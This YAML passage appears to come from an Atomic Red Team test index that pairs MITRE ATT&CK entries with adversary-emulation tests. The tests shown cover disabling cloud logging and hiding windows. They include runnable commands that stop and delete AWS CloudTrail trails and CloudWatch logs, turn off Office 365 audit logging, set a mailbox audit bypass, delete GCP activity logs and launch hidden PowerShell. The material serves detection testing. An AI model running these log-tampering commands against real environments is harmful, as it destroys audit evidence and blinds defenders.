        url: https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121
      - source_name: Microsoft Cryptojacking 2023
        description: 'Microsoft Threat Intelligence. (2023, July 25). Cryptojacking:
          Understanding and defending against cloud compute resource abuse. Retrieved
          September 5, 2023.'
        url: https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/
      - source_name: Microsoft Peach Sandstorm 2023
        description: Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm
          password spray campaigns enable intelligence collection at high-value targets.
          Retrieved September 18, 2023.
        url: https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/
      - source_name: Microsoft Azure Policy
        description: Microsoft. (2023, August 30). Azure Policy built-in policy definitions.
          Retrieved September 5, 2023.
        url: https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1562.008:
    technique:
      modified: '2024-04-12T21:13:56.431Z'
      name: 'Impair Defenses: Disable Cloud Logs'
      description: |-
        An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.

        For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Ibrahim Ali Khan
      - Alex Soler, AttackIQ
      - Janantha Marasinghe
      - Matt Snyder, VMware
      - Joe Gumke, U.S. Bank
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor logs for API calls to disable logging. In AWS, monitor
        for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping
        CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation:
        Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor
        diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings)
        Additionally, a sudden loss of a log source may indicate that it has been
        disabled. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - SaaS
      - Google Workspace
      - Azure AD
      - Office 365
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Modification'
      - 'User Account: User Account Modification'
      - 'Cloud Service: Cloud Service Disable'
      type: attack-pattern
      id: attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d
      created: '2020-10-12T13:52:32.846Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/008
        external_id: T1562.008
      - source_name: Stopping CloudTrail from Sending Events to CloudWatch Logs
        description: Amazon Web Services. (n.d.). Stopping CloudTrail from Sending
          Events to CloudWatch Logs. Retrieved October 16, 2020.
        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
      - source_name: AWS Update Trail
        description: AWS. (n.d.). update-trail. Retrieved August 4, 2023.
        url: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html
      - source_name: 'Following the CloudTrail: Generating strong AWS security signals
          with Sumo Logic'
        description: 'Dan Whalen. (2019, September 10). Following the CloudTrail:
          Generating strong AWS security signals with Sumo Logic. Retrieved October
          16, 2020.'
        url: https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/
      - source_name: Configuring Data Access audit logs
        description: Google. (n.d.). Configuring Data Access audit logs. Retrieved
          October 16, 2020.
        url: https://cloud.google.com/logging/docs/audit/configure-data-access
      - source_name: Dark Reading Microsoft 365 Attacks 2021
        description: Kelly Sheridan. (2021, August 5). Incident Responders Explore
          Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.
        url: https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591
      - source_name: az monitor diagnostic-settings
        description: Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved
          October 16, 2020.
        url: https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
      - source_name: Pacu Detection Disruption Module
        description: Rhino Security Labs. (2021, April 29). Pacu Detection Disruption
          Module. Retrieved August 4, 2023.
        url: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.008
    atomic_tests:
    - name: AWS - CloudTrail Changes
      auto_generated_guid: 9c10dc6b-20bd-403a-8e67-50ef7d07ed4e
      description: 'Creates a new cloudTrail in AWS, Upon successful creation it will
        Update,Stop and Delete the cloudTrail

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        cloudtrail_name:
          description: Name of the cloudTrail
          type: string
          default: redatomictesttrail
        s3_bucket_name:
          description: Name of the bucket
          type: string
          default: redatomic-test
        region:
          description: Name of the region
          type: string
          default: us-east-1
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          default profile using: aws configure

          '
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: "echo Please install the terraform and configure your
          aws default profile \n"
      - description: 'Check if the dependency resources are already present.

          '
        prereq_command: 'if [ -f "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/terraform.tfstate"
          ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
          aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
          aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}
        cleanup_command: |
          cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/"
          terraform destroy -auto-approve
        name: sh
        elevation_required: false
    - name: Azure - Eventhub Deletion
      auto_generated_guid: 5e09bed0-7d33-453b-9bf3-caea32bff719
      description: |
        Identifies an Event Hub deletion in Azure.
        An Event Hub is an event processing service that ingests and processes large volumes of events and data.
        An adversary may delete an Event Hub in an attempt to evade detection.
        https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure username
          type: string
          default: 
        password:
          description: Azure password
          type: string
          default: 
        event_hub_name:
          description: Name of the eventhub
          type: string
          default: test_eventhub
        resource_group:
          description: Name of the resource group
          type: string
          default: 
        name_space_name:
          description: Name of the NameSpace
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Install-Module -Name Az

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install the terraform.

          '
      - description: 'Check if the user is logged into Azure.

          '
        prereq_command: 'az account show

          '
        get_prereq_command: "echo Configure your Azure account using: az login. \n"
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/terraform.tfstate"
          ){ exit 0 } else {exit 1}} catch {exit 1}

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-AzureAD -Credential $creds
          Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}
        name: powershell
        elevation_required: false
        cleanup_command: |
          cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/"
          terraform destroy -auto-approve
    - name: Office 365 - Exchange Audit Log Disabled
      auto_generated_guid: 1ee572f3-056c-4632-a7fc-7e7c42b1543c
      description: |
        You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
        Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
        https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: 
        password:
          description: office-365 password
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: "Install-Module -Name ExchangeOnlineManagement         \nImport-Module
          ExchangeOnlineManagement\n"
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False
        cleanup_command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True
        name: powershell
        elevation_required: false
    - name: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
      auto_generated_guid: a27418de-bdce-4ebd-b655-38f11142bf0c
      description: 'Update event selectors in AWS CloudTrail to disable the logging
        of certain management events to evade defense. This Atomic test leverages
        a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team).
        Stratus Red Team is a self-contained binary. You can use it to easily detonate
        offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/

        '
      supported_platforms:
      - linux
      - macos
      - iaas:aws
      input_arguments:
        stratus_path:
          description: Path of stratus binary
          type: path
          default: "$PathToAtomicsFolder/T1562.008/src"
        aws_region:
          description: AWS region to detonate
          type: string
          default: us-west-2
      dependency_executor_name: sh
      dependencies:
      - description: 'Stratus binary must be present at the (#{stratus_path}/stratus)

          '
        prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
          [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n  wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
          warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-event-selectors\necho
          \"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-event-selectors
          --force\n"
        cleanup_command: |
          export AWS_REGION=#{aws_region}
          echo "Cleanup detonation"
          cd #{stratus_path}
          ./stratus cleanup --all
          rm -rf stratus*
        name: sh
        elevation_required: false
    - name: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
      auto_generated_guid: 22d89a2f-d475-4895-b2d4-68626d49c029
      description: 'This Atomic test will use the Stratus Red Team will first setup
        a CloudTrail logging into an S3 bucket and will then make an API call to update
        the lifecycle rule on that S3 bucket with an expiration date of 1 day. This
        will essentially delete all the logs after one day. Adversaries often do this
        actiivity to evade detection. Stratus Red Team is a self-contained binary.
        You can use it to easily detonate offensive attack techniques against a live
        cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        stratus_path:
          description: Path of stratus binary
          type: path
          default: "$PathToAtomicsFolder/T1562.008/src"
        aws_region:
          description: AWS region to detonate
          type: string
          default: us-west-2
      dependency_executor_name: sh
      dependencies:
      - description: 'Stratus binary must be present at the (#{stratus_path}/stratus)

          '
        prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
          [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n  wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
          warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule\necho
          \"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule
          --force\n"
        cleanup_command: |
          export AWS_REGION=#{aws_region}
          echo "Cleanup detonation"
          cd #{stratus_path}
          ./stratus cleanup --all
          rm -rf stratus*
        name: sh
        elevation_required: false
    - name: AWS - Remove VPC Flow Logs using Stratus
      auto_generated_guid: 93c150f5-ad7b-4ee3-8992-df06dec2ac79
      description: 'This Atomic will attempt to remove AWS VPC Flow Logs configuration.
        Stratus Red Team is a self-contained binary. You can use it to easily detonate
        offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/

        '
      supported_platforms:
      - linux
      - macos
      - iaas:aws
      input_arguments:
        stratus_path:
          description: Path of stratus binary
          type: path
          default: "$PathToAtomicsFolder/T1562.008/src"
        aws_region:
          description: AWS region to detonate
          type: string
          default: us-west-2
      dependency_executor_name: sh
      dependencies:
      - description: 'Stratus binary must be present at the (#{stratus_path}/stratus)

          '
        prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
          [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n  wget
          -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n  tar
          -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
          warmup\"\n./stratus warmup aws.defense-evasion.vpc-remove-flow-logs\necho
          \"starting detonate\"\n./stratus detonate aws.defense-evasion.vpc-remove-flow-logs
          --force\n"
        cleanup_command: |
          export AWS_REGION=#{aws_region}
          echo "Cleanup detonation"
          cd #{stratus_path}
          ./stratus cleanup --all
          rm -rf stratus*
        name: sh
        elevation_required: false
    - name: AWS - CloudWatch Log Group Deletes
      auto_generated_guid: 89422c87-b57b-4a04-a8ca-802bb9d06121
      description: "Creates a new cloudWatch log group in AWS, Upon successful creation
        it will Delete the group. Attackers can use this technique to evade defenses
        by \ndeleting the log stream. Once it is deleted, the logs created by the
        attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion\n"
      supported_platforms:
      - iaas:aws
      input_arguments:
        cloudwatch_log_group_name:
          description: Name of the cloudWatch log group
          type: string
          default: log-test
        region:
          description: Name of the region
          type: string
          default: us-east-1
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: |
          aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
          echo "*** Log Group Created ***"
          aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
          echo "*** Log Group Deleted ***"
        cleanup_command: 
        name: sh
        elevation_required: false
    - name: AWS CloudWatch Log Stream Deletes
      auto_generated_guid: 33ca84bc-4259-4943-bd36-4655dc420932
      description: "Creates a new cloudWatch log stream in AWS, Upon successful creation
        it will Delete the stream. Attackers can use this technique to evade defenses
        by \ndeleting the log stream. Once it is deleted, the logs created by the
        attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n"
      supported_platforms:
      - iaas:aws
      input_arguments:
        cloudwatch_log_group_name:
          description: Name of the cloudWatch log group
          type: string
          default: test-logs
        cloudwatch_log_stream_name:
          description: Name of the cloudWatch log stream
          type: string
          default: '20150601'
        region:
          description: Name of the region
          type: string
          default: us-west-2
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: |
          aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
          echo "*** Log Group Created ***"
          aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
          echo "*** Log Stream Created ***"
          aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name}
          echo "*** Log Stream Deleted ***"
          aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
          echo "*** Log Group Deleted ***"
        cleanup_command: 
        name: sh
        elevation_required: false
    - name: Office 365 - Set Audit Bypass For a Mailbox
      auto_generated_guid: c9a2f6fe-7197-488c-af6d-10c782121ca6
      description: |
        Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
        https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: o365_user_test
        password:
          description: office-365 password
          type: string
          default: o365_password_test
        target_email:
          description: office-365 target_email
          type: string
          default: o365_email_test
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: "Install-Module -Name ExchangeOnlineManagement         \nImport-Module
          ExchangeOnlineManagement\n"
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true
        cleanup_command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $false
          Disconnect-ExchangeOnline -Confirm:$false
        name: powershell
        elevation_required: false
    - name: GCP - Delete Activity Event Log
      auto_generated_guid: d56152ec-01d9-42a2-877c-aac1f6ebe8e6
      description: "GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data
        Access, System Events, and Policy Denied.\nAn adversary may attempt to delete
        logs in order to hide their activity. However, Admin Activity, System Events,
        and Policy Deny events logs cannot be deleted. \n\nThis Atomic attempts to
        delete the Activity Event log. An event is generated under the method name
        of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-project-1
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
  T1564.003:
    technique:
      modified: '2024-04-13T14:28:20.651Z'
      name: 'Hide Artifacts: Hidden Window'
      description: "Adversaries may use hidden windows to conceal malicious activity
        from the plain sight of users. In some cases, windows that would typically
        be displayed when an application carries out an operation can be hidden. This
        may be utilized by system administrators to avoid disrupting user work environments
        when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities
        to hide otherwise visible windows from users so as not to alert the user to
        adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn
        macOS, the configurations for how applications run are listed in property
        list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>,
        which allows for Java applications to prevent the application's icon from
        appearing in the Dock. A common use for this is when applications run in the
        system tray, but don't also want to show up in the Dock.\n\nSimilarly, on
        Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001),
        Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005)
        to make windows hidden. One example of this is <code>powershell.exe -WindowStyle
        Hidden</code>.(Citation: PowerShell About 2019)\n\nIn addition, Windows supports
        the `CreateDesktop()` API that can create a hidden desktop window with its
        own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation:
        Anatomy of an hVNC Attack)  All applications running on the hidden desktop
        window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be
        invisible to other desktops windows."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Mark Tsipershtein
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes and command-line arguments for actions
        indicative of hidden windows. In Windows, enable and configure event logging
        and PowerShell logging to check for the hidden window style. In MacOS, plist
        files are ASCII text files with a specific format, so they're relatively easy
        to parse. File monitoring can check for the <code>apple.awt.UIElement</code>
        or any other suspicious plist tag in plist files and flag them.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      type: attack-pattern
      id: attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0
      created: '2020-03-13T20:26:49.433Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564/003
        external_id: T1564.003
      - source_name: Hidden VNC
        description: Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners.
          Retrieved November 28, 2023.
        url: https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html
      - source_name: Anatomy of an hVNC Attack
        description: Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an
          hVNC Attack. Retrieved November 28, 2023.
        url: https://securityintelligence.com/anatomy-of-an-hvnc-attack/
      - source_name: Antiquated Mac Malware
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
      - source_name: PowerShell About 2019
        description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved
          October 11, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1564.003
    atomic_tests:
    - name: Hidden Window
      auto_generated_guid: f151ee37-9e2b-47e6-80e4-550b9f999b7a
      description: |
        Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
        Upon execution a hidden PowerShell window will launch calc.exe
      supported_platforms:
      - windows
      input_arguments:
        powershell_command:
          description: Command to launch calc.exe from a hidden PowerShell Window
          type: string
          default: powershell.exe -WindowStyle hidden calc.exe
      executor:
        command: 'Start-Process #{powershell_command}

          '
        name: powershell
    - name: Headless Browser Accessing Mockbin
      auto_generated_guid: 0ad9ab92-c48c-4f08-9b20-9633277c4646
      description: |
        The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
        The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
        Reference: https://cert.gov.ua/article/5702579
      supported_platforms:
      - windows
      input_arguments:
        bin_id:
          description: Mockbin.org BIN ID
          type: string
          default: f6b9a876-a826-4ac0-83b8-639d6ad516ec
        browser:
          description: Browser to use (msedge, chrome, firefox)
          type: string
          default: chrome
      executor:
        command: 'start "" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}

          '
        cleanup_command: 'taskkill /im #{browser} /f

          '
        name: command_prompt
  T1556.009:
    technique:
      modified: '2024-04-18T20:53:46.175Z'
      name: Conditional Access Policies
      description: "Adversaries may disable or modify conditional access policies
        to enable persistent access to compromised accounts. Conditional access policies
        are additional verifications used by identity providers and identity and access
        management systems to determine whether a user should be granted access to
        a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be
        denied access to applications based on their IP address, device enrollment
        status, and use of multi-factor authentication.(Citation: Microsoft Conditional
        Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional
